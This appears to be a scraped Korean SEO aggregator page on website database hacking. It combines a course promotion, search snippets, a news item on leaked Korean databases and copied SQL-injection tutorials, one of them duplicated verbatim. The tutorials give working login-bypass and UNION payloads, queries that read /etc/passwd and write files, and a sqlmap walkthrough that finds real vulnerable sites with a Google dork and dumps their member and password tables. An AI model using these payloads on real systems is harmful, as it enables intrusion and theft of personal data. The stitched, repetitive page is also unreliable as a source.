Skip to content
Home » 웹 사이트 Db 해킹 | [웹 해킹 특강] Db 해킹! | Db 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다! 인기 답변 업데이트

웹 사이트 Db 해킹 | [웹 해킹 특강] Db 해킹! | Db 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다! 인기 답변 업데이트

당신은 주제를 찾고 있습니까 “웹 사이트 db 해킹 – [웹 해킹 특강] DB 해킹! | DB 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다!“? 다음 카테고리의 웹사이트 kk.taphoamini.com 에서 귀하의 모든 질문에 답변해 드립니다: kk.taphoamini.com/wiki. 바로 아래에서 답을 찾을 수 있습니다. 작성자 Normaltic Place 이(가) 작성한 기사에는 조회수 4,102회 및 좋아요 61개 개의 좋아요가 있습니다.

Table of Contents

웹 사이트 db 해킹 주제에 대한 동영상 보기

여기에서 이 주제에 대한 비디오를 시청하십시오. 주의 깊게 살펴보고 읽고 있는 내용에 대한 피드백을 제공하세요!

d여기에서 [웹 해킹 특강] DB 해킹! | DB 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다! – 웹 사이트 db 해킹 주제에 대한 세부정보를 참조하세요

안녕하세요!
지난 번에 살짝 예고한! 웹 해킹 특강 시리즈입니다!
이번 주제는!!!!!!
디! 비!
DB에서 데이터를 쏵쏵 뽑아오는 공격을 배워볼 거에요.
기초부터 시작해서 고급 심화 내용까지 다룹니다.
제 스타일 아시죠?! 쉽게! 누구나! 이해시킬 작정으로 재밌게 만듭니다!
지난 웹 해킹 특강 또한 반응이 정말 좋았는데요!
이번 특강도 기대해주세요!

[ 신청방법 ]http://pf.kakao.com/_xkxkbxixb (Normaltic 카카오톡 채널)로 ‘[웹 해킹 특강] DB 해킹 신청 합니다’라는 문구로 아래 내용을 작성해 보내주시면 검토 후 답변드리겠습니다.
성함 :
나이 :
직업:
구글 email 주소 :
추가로 문의 사항은 위 링크로 연락 주시면 친절한 답변드리겠습니다! 🙂
[ 신청안내 ]신청기간 : 8월 7일(토) ~ 8월 14일(토)까지
대상 : 웹 해킹을 시작하고 싶은 누구나! 로그인 인증이 어떻게 동작하는지 궁금한 사람 모두!
수업 시작 일: 8월 16일(월요일) 수업 시간 : 월요일 (오후 8 시 ~ 오후 10시)
수강료 : 문의
– 수업은 입금 선착순이며 정원이 다 찰경우 수업 신청은 불가능합니다 –
[ 주의사항 ]– 수업에서 사용한 코드 및 공격 기법은 수업 다음 날 구글 클래스룸에서 제공해드립니다.
– 제공된 수업 자료들을 공유 또는 게시하는 행위는 저작권법에 따라 처벌됩니다.
– 수강료를 입금하고 수업에 등록된 후 환불은 불가능합니다.
[ 장소 ]– 온라인 수업
– 구글 Meet으로 진행 (구글 계정이 필요합니다!)
– 수업 단체 카카오톡 채팅방으로 수업 공지
#화이트해커#해킹강의#DB해킹

웹 사이트 db 해킹 주제에 대한 자세한 내용은 여기를 참조하세요.

웹 사이트 Db 해킹 | 7분으로 Sql인젝션을 이해하자

해킹툴 SQL인젝션 공격 / SQLMAP – 공돌이청지 · 한국 웹사이트 8곳 해킹 당했나? · 웹 해킹 과 데이터베이스 – Soulhack …

+ 여기에 더 보기

Source: you.giaohangso1.vn

Date Published: 6/18/2022

View: 5987

한국 웹사이트 8곳 해킹 당했나? DB 정보 딥웹에 유출됐다

최근 해커들이 해킹으로 빼낸 개인정보나 국내 회사 내부정보 등이 다크웹 또는 딥웹을 통해 유출돼 문제가 커지고 있는 가운데 얼마 전에는 국내 …

+ 여기에 더 보기

Source: www.boannews.com

Date Published: 8/11/2021

View: 1109

웹 해킹 과 데이터베이스 – Soulhack – 티스토리

일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 …

+ 여기에 보기

Source: soulhack.tistory.com

Date Published: 6/5/2022

View: 7608

해킹툴 SQL인젝션 공격 / SQLMAP – 공돌이청지 – 티스토리

간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다. DB서버로 주로 많이 쓰는 것이 오라클의 …

+ 여기에 자세히 보기

Source: univbox.tistory.com

Date Published: 1/14/2022

View: 5670

[ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득

이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다.

+ 여기에 보기

Source: m.blog.naver.com

Date Published: 1/13/2022

View: 7509

초보자도 뚫는 웹사이트 ‘해킹 무방비’ – 머니투데이

이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다. 이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 …

+ 여기에 자세히 보기

Source: news.mt.co.kr

Date Published: 3/21/2021

View: 5829

[보안] DB해킹 – My note

일단 방화벽 내의 웹서버를 점령한 후 DB서버를 해킹 하는 방법은 … MSSQL, MySQL, Oracle에 대한 SQL Client는 아래 사이트에 있는 SQL Gate가 …

+ 여기에 자세히 보기

Source: icom.tistory.com

Date Published: 11/23/2021

View: 4822

운영중인 웹사이트의 DB정보 해킹

DB서버 및 웹사이트 소스는 알바 식으로 월 얼마씩 주고 운영을 맡기고 있더군요… 물론 서버 접속계정이나 이런것도 전혀 모르고..그냥 맡겨놓은 상태 …

+ 더 읽기

Source: www.hackerschool.org

Date Published: 1/5/2022

View: 9943

[Web Hacking] – Blind SQL Injection_1. DB 버전 수집

우선 간단하게 해당 웹 사이트가 Blind SQL Injection을 수행할 수 있는 취약한 웹사이트 인지 확인하기 위해. and 연산자를 통한 Boolean 조건을 …

+ 여기에 보기

Source: cha4ser.tistory.com

Date Published: 8/10/2021

View: 629

주제와 관련된 이미지 웹 사이트 db 해킹

주제와 관련된 더 많은 사진을 참조하십시오 [웹 해킹 특강] DB 해킹! | DB 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다!. 댓글에서 더 많은 관련 이미지를 보거나 필요한 경우 더 많은 관련 기사를 볼 수 있습니다.

[웹 해킹 특강] DB 해킹! | DB 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다!
[웹 해킹 특강] DB 해킹! | DB 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다!

주제에 대한 기사 평가 웹 사이트 db 해킹

  • Author: Normaltic Place
  • Views: 조회수 4,102회
  • Likes: 좋아요 61개
  • Date Published: 2021. 8. 7.
  • Video Url link: https://www.youtube.com/watch?v=h6IYmSyS6LM

웹 사이트 Db 해킹 | 7분으로 Sql인젝션을 이해하자 | Db가 털리는 과정 | 개인 정보는 이렇게 유출된다 상위 80개 베스트 답변

당신은 주제를 찾고 있습니까 “웹 사이트 db 해킹 – 7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다“? 다음 카테고리의 웹사이트 https://you.giaohangso1.vn 에서 귀하의 모든 질문에 답변해 드립니다: https://you.giaohangso1.vn/blog. 바로 아래에서 답을 찾을 수 있습니다. 작성자 Normaltic Place 이(가) 작성한 기사에는 조회수 6,555회 및 좋아요 127개 개의 좋아요가 있습니다.

여기에서 이 주제에 대한 비디오를 시청하십시오. 주의 깊게 살펴보고 읽고 있는 내용에 대한 피드백을 제공하세요!

안녕하세요! 노말틱입니다 🙂

이번에 가져온 주제는!

SQL 인젝션입니다.

웹 해킹의 기초이자 꽃이라고 불리는 공격 기법인데요.

자세한 공격 기법들은 수업에서 다루고 있습니다!

영상으로 일단! SQL 인젝션이 왜 일어나는지 어떤 원리인지 알아보시죠!

#웹해킹#해킹기초#SQL인젝션

간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다. DB서버로 주로 많이 쓰는 것이 오라클의 …

+ 더 읽기

Source: univbox.tistory.com

Date Published: 8/29/2022

View: 8573

최근 해커들이 해킹으로 빼낸 개인정보나 국내 회사 내부정보 등이 다크웹 또는 딥웹을 통해 유출돼 문제가 커지고 있는 가운데 얼마 전에는 국내 …

+ 여기에 표시

Source: www.boannews.com

Date Published: 1/4/2021

View: 3243

데이터베이스는 단순하게 ‘ 데이터의 집합’ 이라고 할 수 있다. 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다.

+ 자세한 내용은 여기를 클릭하십시오

Source: soulhack.tistory.com

Date Published: 4/3/2021

View: 8079

SQL Injection은 부정한 입력을 통해 서버에서 DB로 날리는 SQL을 조작해 데이터베이스를 공격하는 기법이다. 보통 서버와 DB가 상호작용을 하는 로그인창 …

+ 여기를 클릭

Source: hackingstudypad.tistory.com

Date Published: 7/23/2022

View: 8232

이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다. 이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 …

+ 여기를 클릭

Source: news.mt.co.kr

Date Published: 10/24/2022

View: 9659

이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다.

+ 더 읽기

Source: m.blog.naver.com

Date Published: 11/15/2021

View: 1861

DB서버 및 웹사이트 소스는 알바 식으로 월 얼마씩 주고 운영을 맡기고 있더군요… 물론 서버 접속계정이나 이런것도 전혀 모르고..그냥 맡겨놓은 상태 …

+ 자세한 내용은 여기를 클릭하십시오

Source: www.hackerschool.org

Date Published: 2/17/2022

View: 9542

SQL 인젝션 공격 이란 데이터베이스에 전송되는 SQL 쿼리문을 사용자 입력으로 조작하여, 데이터베이스 내의 데이터를 변조하거나 허가되지 않은 정보에 …

+ 여기에 보기

Source: oggwa.tistory.com

Date Published: 12/10/2021

View: 9895

웹 사이트 db 해킹 주제에 대한 자세한 내용은 여기를 참조하세요. … [웹해킹] SQL 인젝션 공격 이란? … 사람들이 주제에 대해 자주 검색하는 키워드 웹 …

+ 여기를 클릭

Source: ko.taphoamini.com

Date Published: 3/22/2022

View: 2904

주제와 관련된 더 많은 사진을 참조하십시오 7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다. 댓글에서 더 많은 관련 이미지를 보거나 필요한 경우 더 많은 관련 기사를 볼 수 있습니다.

데이터베이스는 단순하게 ‘ 데이터의 집합’ 이라고 할 수 있다. 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 같다.

● 회원 가입 – INSERT 문

● 회원정보 수정 – UPDATE 문

● 로그인 – SELECT 문

● 회원 탈퇴 – DELETE 문

예) SELECT idx FROM member WHERE id= ‘입력 아이디’ and password = ‘입력 패스워드’

=> member 테이블에서 id가 ‘입력아이디’이고 password가 ‘입력패스워드’인 결과의 idx 컬럼(열) 출력.

위 쿼리의 ROW 값이 리턴된다면 올바른 아이디와 패스워드를 입력한 것이고, 리턴 값이 없다면 올바흐지 않은 정보를 입력했다고 판단 할 수 있다.

예) INSERT into member(id,password,name) values(‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’);

=> member 테이블에 ‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’ 값을 추가

예) UPDATE member SET password = ‘새로운 패스워드’ WHERE id = ‘hellsonic’

=> member 테이블에 id가 hellsonic인 경우 패스워드를 ‘새로운 패스워드’로 변경

예) DELETE FROM member WHERE id=’hellsonic’

=> member 테이블에 id가 hellsonic 인 경우, ROW를 삭제

공격에 자주 사용되는 UNION 문은 둘 이상의 ROW가 리턴된다.

예) SELECT 1 FROM DUAL UNION SELECT 2

UNION문은 SQL 삽입 공격 시 해커들이 손쉽게 데이터를 빼낼 수 있기 때문에 가장 많이 사용되는 쿼리이다. 단, UNION문 사용 시 앞 SELECT 문의 칼럼 개수와 뒤 SELECT문의 칼럼 개수가 같아야 한다.

예) SELECT 1,2,3 UNION SELECT 4,5,6

사용자의 입력값은 대개 WHERE 조건절에 들어가게 된다. Integer 형식이라면 따옴표(쿼터) 값 없이 그냥 입력되겠지만, String형식인 경우 작은 따옴표(싱글쿼터) 나 큰따옴표(더블쿼터) 사이에 문자열 값이 들어가게 되므로 따옴표를 문자열 입력값에 삽입해 쿼리를 새로 작성할 수 있다.

예) 아이디에 admin, 패스워드 대신에 ‘or ‘1’ = ‘1 이라는 값을 넣는다면 쿼리는 다음과 같이 입력될 것이다.

=> SELECT id FROM member WHERE id = ‘admin’ and password = ‘ ‘ or ‘1’=’1′ (마지막에 싱글쿼터는 자동으로 붙는다)

이 쿼리의 조건절을 해석해보면, id 가 admin이면서 패스워드가 빈칸(‘ ‘)이거나 , 1 이 1인 경우다. 1=1은 참이므로 조건절의 모든 조건에 부합해 모든 ROW가 리턴될 것이고, 최상위에 있는 ROW 값의 아이디(admin)로 로그인 될 것이다. 쿼리에서 where문은 if문과 같다고 볼 수 있다. 조건식에서의 값이 참일 경우는 1(True), 거짓일 경우 0(False) 값이 리턴되므로, 1=1혹은 1값을 사용할 수 있다.

데이터베이스 이름 :book

테이블 이름 : member

id password admin admpwd user usrpwd

유저명 출력 select user(); 버전명 출력 select version(); 현재 사용 데이터베이스명 출력 select database(); 유저 리스트 출력 select user from mysql.user 모든 스키마(schema)명 출력 select schema.name from information_schema.schemata 모든 테이블명 출력 select table_name from information_schema.tables 테이블 칼럼명 출력 select column_name from information_schema.columns where table_name = ‘테이블명’ 로컬 파일 접근 select load_file(‘/etc/passwd’) 파일로 추출 select 1234 into outfile ‘/tmp/outfile’

최종목표인 ‘관리자 패스워드’를 알아내기까지의 과정 예시

①데이터베이스명 획득(book)

Query => SELECT id FROM member WHERE id=’1234’ and password = ‘1’ union select chema_name from information_schema.schemata limit 1,1#’

결과 : Hello book

②테이블명 획득(member)

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select table_name from information_schema.tables where table_schema=database()#’

결과 : Hello member

③칼럼명 획득 1(id)

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select column_name from information_schema.columns where table_name =’member’ limit 0,1 #’

결과 : Hello id

④칼럼명 획득 2(password)

Query => SELECT id FROM member WHERE id=1234′ and password=’1′ union select column_name from information_schema.columns where table_name=’member’ limit 1,1#’

결과 : Hello password

⑤멤버 테이블의 id, password 획득

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select concat(id, ‘:’ ,password) from member#’

결과 : Hello admin : admpwd

2. Blind SQL

Blind SQL 삽입은 바로 결과값을 알 수 있는 것이 아니라, 쿼리 결과의 참/거짓 정보만으로 데이터를 추출해내는 기법이다.

3. 자동화 툴

pangolin, sqlmap, Havji 가 있다.

한국 웹사이트 8곳 해킹 당했나? DB 정보 딥웹에 유출됐다

[이미지=utoimage]

▲딥웹 포럼에 공개된 한국 웹 사이트 8곳의 DB 정보[이미지=보안뉴스] [보안뉴스 권 준 기자] 최근 해커들이 해킹으로 빼낸 개인정보나 국내 회사 내부정보 등이 다크웹 또는 딥웹을 통해 유출돼 문제가 커지고 있는 가운데 얼마 전에는 국내 기업을 비롯해 학회, 조합, 협회, 쇼핑몰 등이 망라된 8곳의 웹사이트가 해킹돼 DB 정보가 딥웹에 유출된 것으로 드러났다.다크웹과 딥웹 등에서 활동하고 있는 해커들의 동향을 추적하고 있는 보안전문가에 따르면 △기업 4곳(**럭스, **스캔, **이엠, **메인) △온라인 쇼핑몰 1곳(**어) △학회 1곳(****학회) △조합 1곳(******인쇄 협동조합) △협회 1곳(********/***산업협회) 등 총 8곳의 웹 사이트가 해킹돼 해당 웹사이트에서 빼낸 데이터베이스가 딥웹에 공개됐다.지난 1월 말 여행정보를 공유하는 국내 여행 사이트가 해킹을 당해 17만 건에 달하는 회원정보가 딥웹에 유출된 바 있으며, 2월 말에도 국내 쇼핑몰에 대한 해킹 정보가 딥웹에 올라온 데 이어 이번에는 무려 8개에 달하는 국내 웹사이트가 해킹돼 해당 DB 정보가 한꺼번에 딥웹 포럼에 공개돼 버린 것이다.딥웹이나 다크웹에서 주로 활동하는 해커들은 자신들이 해킹한 웹 사이트의 DB 정보, 개인정보 등 내부 정보 가운데 일부를 딥웹 커뮤니티 포럼에 공개해 판매를 시도하거나 전부 공개해 버리기도 한다.이번에 유출된 DB 정보로 인한 2차 피해 우려도 제기되고 있다. 개인정보 등 내부 정보를 입수한 해커들이 이를 바탕으로 2차 공격대상을 물색한 다음, 사회공학적 기법을 바탕으로 다양한 스미싱, 피싱 공격을 감행할 수 있기 때문이다. 또한, DB 정보를 빼낸 8곳을 대상으로 랜섬웨어 공격 등 추가 공격을 시도할 가능성도 있다.이에 스미싱, 피싱 공격을 받거나 계정 해외 로그인 시도가 발견되는 등 개인정보가 유출됐다고 판단되면 2단계 인증 등을 통해 계정 보안을 강화하고, 개인용 계정과 업무용 계정을 서로 다르게 설정해 크리덴셜 스터핑 등의 공격을 예방해야 한다. 또한, 백신 사용 및 자동 업데이트 설정, 알 수 없는 URL 및 파일 접근 금지 등 기본 보안수칙을 반드시 준수해야 한다.참고로, 딥웹(Deep Web)은 구글, 네이버 등 포털 사이트에서 검색 가능한 콘텐츠 영역인 표면 웹(Surface Web)과 달리 검색 사이트에 잡히지 않는 콘텐츠 영역을 의미하는데, 군대나 회사에서 쓰는 내부 통신망(인트라넷)도 딥웹에 속한다. 딥웹에는 토르(Tor) 브라우저 등 특정 소프트웨어로만 접속 가능한 콘텐츠 영역이 있는데, 이게 바로 다크웹(Dark Web)이다.[권 준 기자( [email protected] )]

www.boannews.com) 무단전재-재배포금지>

Soulhacker

데이터베이스는 단순하게 ‘ 데이터의 집합’ 이라고 할 수 있다. 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 같다.

● 회원 가입 – INSERT 문

● 회원정보 수정 – UPDATE 문

● 로그인 – SELECT 문

● 회원 탈퇴 – DELETE 문

예) SELECT idx FROM member WHERE id= ‘입력 아이디’ and password = ‘입력 패스워드’

=> member 테이블에서 id가 ‘입력아이디’이고 password가 ‘입력패스워드’인 결과의 idx 컬럼(열) 출력.

위 쿼리의 ROW 값이 리턴된다면 올바른 아이디와 패스워드를 입력한 것이고, 리턴 값이 없다면 올바흐지 않은 정보를 입력했다고 판단 할 수 있다.

예) INSERT into member(id,password,name) values(‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’);

=> member 테이블에 ‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’ 값을 추가

예) UPDATE member SET password = ‘새로운 패스워드’ WHERE id = ‘hellsonic’

=> member 테이블에 id가 hellsonic인 경우 패스워드를 ‘새로운 패스워드’로 변경

예) DELETE FROM member WHERE id=’hellsonic’

=> member 테이블에 id가 hellsonic 인 경우, ROW를 삭제

공격에 자주 사용되는 UNION 문은 둘 이상의 ROW가 리턴된다.

예) SELECT 1 FROM DUAL UNION SELECT 2

UNION문은 SQL 삽입 공격 시 해커들이 손쉽게 데이터를 빼낼 수 있기 때문에 가장 많이 사용되는 쿼리이다. 단, UNION문 사용 시 앞 SELECT 문의 칼럼 개수와 뒤 SELECT문의 칼럼 개수가 같아야 한다.

예) SELECT 1,2,3 UNION SELECT 4,5,6

사용자의 입력값은 대개 WHERE 조건절에 들어가게 된다. Integer 형식이라면 따옴표(쿼터) 값 없이 그냥 입력되겠지만, String형식인 경우 작은 따옴표(싱글쿼터) 나 큰따옴표(더블쿼터) 사이에 문자열 값이 들어가게 되므로 따옴표를 문자열 입력값에 삽입해 쿼리를 새로 작성할 수 있다.

예) 아이디에 admin, 패스워드 대신에 ‘or ‘1’ = ‘1 이라는 값을 넣는다면 쿼리는 다음과 같이 입력될 것이다.

=> SELECT id FROM member WHERE id = ‘admin’ and password = ‘ ‘ or ‘1’=’1′ (마지막에 싱글쿼터는 자동으로 붙는다)

이 쿼리의 조건절을 해석해보면, id 가 admin이면서 패스워드가 빈칸(‘ ‘)이거나 , 1 이 1인 경우다. 1=1은 참이므로 조건절의 모든 조건에 부합해 모든 ROW가 리턴될 것이고, 최상위에 있는 ROW 값의 아이디(admin)로 로그인 될 것이다. 쿼리에서 where문은 if문과 같다고 볼 수 있다. 조건식에서의 값이 참일 경우는 1(True), 거짓일 경우 0(False) 값이 리턴되므로, 1=1혹은 1값을 사용할 수 있다.

<예시>

데이터베이스 이름 :book

테이블 이름 : member

id password admin admpwd user usrpwd

유저명 출력 select user(); 버전명 출력 select version(); 현재 사용 데이터베이스명 출력 select database(); 유저 리스트 출력 select user from mysql.user 모든 스키마(schema)명 출력 select schema.name from information_schema.schemata 모든 테이블명 출력 select table_name from information_schema.tables 테이블 칼럼명 출력 select column_name from information_schema.columns where table_name = ‘테이블명’ 로컬 파일 접근 select load_file(‘/etc/passwd’) 파일로 추출 select 1234 into outfile ‘/tmp/outfile’

최종목표인 ‘관리자 패스워드’를 알아내기까지의 과정 예시

①데이터베이스명 획득(book)

Query => SELECT id FROM member WHERE id=’1234’ and password = ‘1’ union select chema_name from information_schema.schemata limit 1,1#’

결과 : Hello book

②테이블명 획득(member)

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select table_name from information_schema.tables where table_schema=database()#’

결과 : Hello member

③칼럼명 획득 1(id)

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select column_name from information_schema.columns where table_name =’member’ limit 0,1 #’

결과 : Hello id

④칼럼명 획득 2(password)

Query => SELECT id FROM member WHERE id=1234′ and password=’1′ union select column_name from information_schema.columns where table_name=’member’ limit 1,1#’

결과 : Hello password

⑤멤버 테이블의 id, password 획득

Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select concat(id, ‘:’ ,password) from member#’

결과 : Hello admin : admpwd

2. Blind SQL

Blind SQL 삽입은 바로 결과값을 알 수 있는 것이 아니라, 쿼리 결과의 참/거짓 정보만으로 데이터를 추출해내는 기법이다.

3. 자동화 툴

pangolin, sqlmap, Havji 가 있다.

SQLMAP :: 공돌이청지

SQL Injection 공격은 해킹 수단 중에 가장 간단하면서도

정말 심각하게 치명적인 공격중에 하나입니다.

잘 알려진 공격 수단임에도 아직 허술한 사이트가 많은걸로 알려져있습니다.

얼마전에 여기어때라는 업체가 Sql 주입 공격에 당했다고도 알려져있고 인터넷커뮤니티 뽐뿌 또한 이 공격에 무너진걸로 알려져있습니다.

간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다.

DB서버로 주로 많이 쓰는 것이 오라클의 MySQL이나 MS의 MSSQL이 있습니다.

일단은 SQL injection에 대해 기본적인 내용들은 인터넷에 많으니 찾아보시고

저는 직접적으로 python으로 코드를 짜거나 아니면 웹에 직접 코드를 주입하는 방법이 아닌

웹 상에서 sql injection 공격에 취약한 사이트들을 대상으로 모의 해킹을 해보는 방법을 시도해보겠습니다.

그 해킹툴 중에 SQLMAP 이라는 게 있는데 따로 일일이 sql 주입을 하지 않아도 자동적으로 하면서 database의 모든 정보를 다 알아내는 프로그램이다.

우선 설치는 http://sqlmap.org 에서 설치하면 됨

그리고 제일 먼저 할 것은 SQL injection에 취약한 웹사이트를 알아내는 것이다.

구글 해킹이라는 방법이 있는데

구글을 해킹하는건아니고…

구글에서 inurl: .php?id=

를 검색한다.

그러면

웹주소에 .php?id= 가 포함된 모든 웹사이트를 검색한다.

그 웹사이트에 들어가서

예를 들어

website.co.kr/index.php?id=3

이라는 웹사이트에 접속했다고 하자

거기에서 웹주소 맨 끝에 ‘ 를 추가하자

그 때 웹사이트에 MySql 오류 ~~ 라는 식으로 뜨면 그 웹사이트는 SQL injection에 취약한 웹사이트이다.

진짜 저렇게 MySQL오류 라고 웹에 직접 뜨는 웹사이트는 그렇게 많지는 않다(물론 많긴하다)

혹은 ‘ 를 추가했을 때 뭐 알파벳이나 숫자가 아닌 문자를 막아놨다던가 별 반응이 없을땐

website.com/index.php?id=3 AND 1=2– 로 접속을 해봤을 때

원래 웹사이트가 뜨지 않고

website.com/index.php?id=3 AND 1=1– 로 접속을 했을 땐

정상적으로 웹사이트가 뜬다면

SQL injection에 취약한 웹사이트다.

AND 1=1– 가 무슨 의미인지는 다른 블로그나 구글검색으로 알아보도록 하자!

충분히 많은 정보들이 있다.

여튼

이렇게 알아낸 취약한 웹사이트를 하나 정한 뒤

맥의 터미널이나 윈도우의 cmd를 켠 뒤

sqlmap -u website.co.kr/index.php?id=3 –dbs

명령을 실행하면

뭐 많이 뜨는데

다 y누르고 좀 기다리면

database명이 모두 검색이 된다.

available databases [5]:

[*] first_db

[*] second_db

[*] third_db

[*] fourth_db

[*] fifth_db

예를들어 이렇게 결과가 떴다고하자.

실제 웹사이트를 보여줄 수는 없을 것 같아서 이렇게 대체한다.

이 화면에서

이렇게 명령어를 치면 각 데이터베이스의 table이 모두 검색이 된다

$ sqlmap -u http://website.com/index.php?id=2 -D first_db –tables

sqlmap -u [취약한웹주소] -D [Database명] –tables

[08:38:33] [INFO] fetching tables for database: ‘first_db’

Database: first_db

[4 tables]

+———-+

| member |

| good |

| second |

| third |

+———-+

결과는 이것과 비슷하게 나올 것이다.

각 table명이 검색이 되고 여기서 각 table의 column 명을 알아내야 한다.

$ sqlmap -u http://website.com/index.php?id=2 -D first_db -T member –columns

sqlmap -u [취약한웹주소] -D [Database명] -T [알아내고자하는table명] –columns 를 명령어로 치면

[08:38:51] [INFO] fetching columns for table ‘admin’ in database ‘first_db’

Database: first_db

Table: member

[2 columns]

+———–+————–+

| Column | Type |

+———–+————–+

| member_id | varchar(255) |

| password | varchar(255) |

+———–+————-+

결과가 이것과 비슷하게 나온다.

현재까지 요약을 하면

website.com이라는 사이트의

first_db 라는 database에서

member Table의 Column 2개를 알아냈다.

이제 해당 database table column의 값이 뭐가 들어있는지를 알아내자

sqlmap -u http://website.com/index.php?id=2 -D first_db -T member -C member_id,password –dump

sqlmap -u [사이트주소] -D [ DB명] -T [Table명] -C [Column명,Column명] –dump

이렇게 명령어를 쓰면

놀랍게도 내부 정보를 다 알아 낼 수가 있다.

상식을 가지고 만든 사이트라면 이런 허접한 방법에 당하지 않고

그나마 조금이라도 상식이 있는 사이트라면

password같은 정보는 보통 암호화를 해서 저장하기 때문에

저렇게 검색을 해도 원래 비밀번호를 다 캐낼 수는 없다 .

암호화를 최대한 풀긴 하는데 엄청나게 오래 걸린다.

여튼 sqlmap 을 이용하면 sql injection 공격을 매우 쉽게 할 수 있다.

조금 흥미를 가지고 알아보면 알겠지만

sql injection은 사실상 심각한 노가다의 연속이기 때문에

지금까지 한 것들을 일일이 다 알아내려면 sqlmap을 사용하지 않을때 비하면 엄청나게 오래 걸린다.

끝!

참고1.

조그마한 나의 식견을 보태자면

이 글에서 서술하는 SQL injection 정도의 공격에 털리는 웹사이트는

그냥 생각 없이 만든 웹사이트로 봐도 무방하다. 혹시나 한국 사이트에 이렇게 허술하게 운영이 되는 사이트가 있다면

해당 사이트에 꼭 알려주시길!

물론 이 방법대로 해보면 알겠지만

이런 어이없는 공격에도 털리는 사이트가

매애애애우많다

참고2. sql injection 공격 같은 경우에는

그 공격의 위험성 만큼 매우 큰 범죄로 잘못걸리면 죄가 굉장히 크다.

다양한 자료를 검색하면서 sql injection 에 대해 더 많이 알더라도

장난으로라도 웹사이트에 직접적으로 해가 될 행동은 하지마시길.

[ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득

http://blog.naver.com/ndb796/220632589882

합법적 해킹 시연을 위해서 제가 직접 만든 JSP 웹 사이트를 이용하도록 하겠습니다.

제 서버에 접속을 하면 다음과 같은 LoginForm.jsp 화면이 메인으로 뜨게 됩니다.

현재 제 데이터베이스에 등록된 사용자부터 일단 확인하겠습니다.

위와 같이 현재 한 명의 사용자만 제가 등록을 해놓았군요.

일단 무작위로 두 개의 사용자 데이터를 추가적으로 등록하겠습니다.

이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다.

원래는 위와 같이 정상적으로 계정을 입력한 뒤에 접속하면 환영 메시지가 떠야 정상입니다.

아래처럼 아무 값이나 입력하고 Submit 버튼을 누르게 되면 당연히 엑세스가 거부됩니다.

하지만 이번엔 아이디에 ‘ or 1=1 — 이라는 값을 넣고 비밀번호에 아무런 값이나 넣어보겠습니다.

이상하게도 Mike Johnson이라는 사람의 계정의 권한을 획득했습니다.

이게 어떻게 된 일일까요? 다시 코드를 한 번 살펴보겠습니다.

위 코드를 보면 바로 다음의 SQL 문을 실행한다는 것을 알 수 있습니다.

SELECT * FROM users WHERE userName = ‘ 아이디 ‘ AND password = ‘ 비밀번호 ‘

​말 그대로 String의 형태로 아이디와 비밀번호를 입력 받아서 그것을 필터링 없이 처리를 해주고 있습니다.

​이것은 상당한 보안 취약점을 가져옵니다. 위에 입력한 ‘ or 1=1 –는 데이터로서 넘어갈 때 다음의 SQL문을

실행시킵니다. 비밀번호로 입력한 Hacked!도 포함해보겠습니다.

SELECT * FROM users WHERE userName = ” or 1=1 — AND password = ‘​Hacked!’

​바로 위 SQL 실행 문장이 됩니다. 이것을 실제로 데이터베이스에 넣고 실행해보겠습니다.

위와 같이 3개의 계정이 모두 나오게 됩니다. 실제로 처리되는 과정을 볼 수 있는 것이죠.

그 이유는 Oracle 11g의 문법에서 — 뒤에 나오는 모든 명령어는 주석처리 되기 때문입니다.

즉, SELECT * FROM users WHERE userName = ” or 1=1;이 실행되는 것과 같은 결과가 나옵니다.

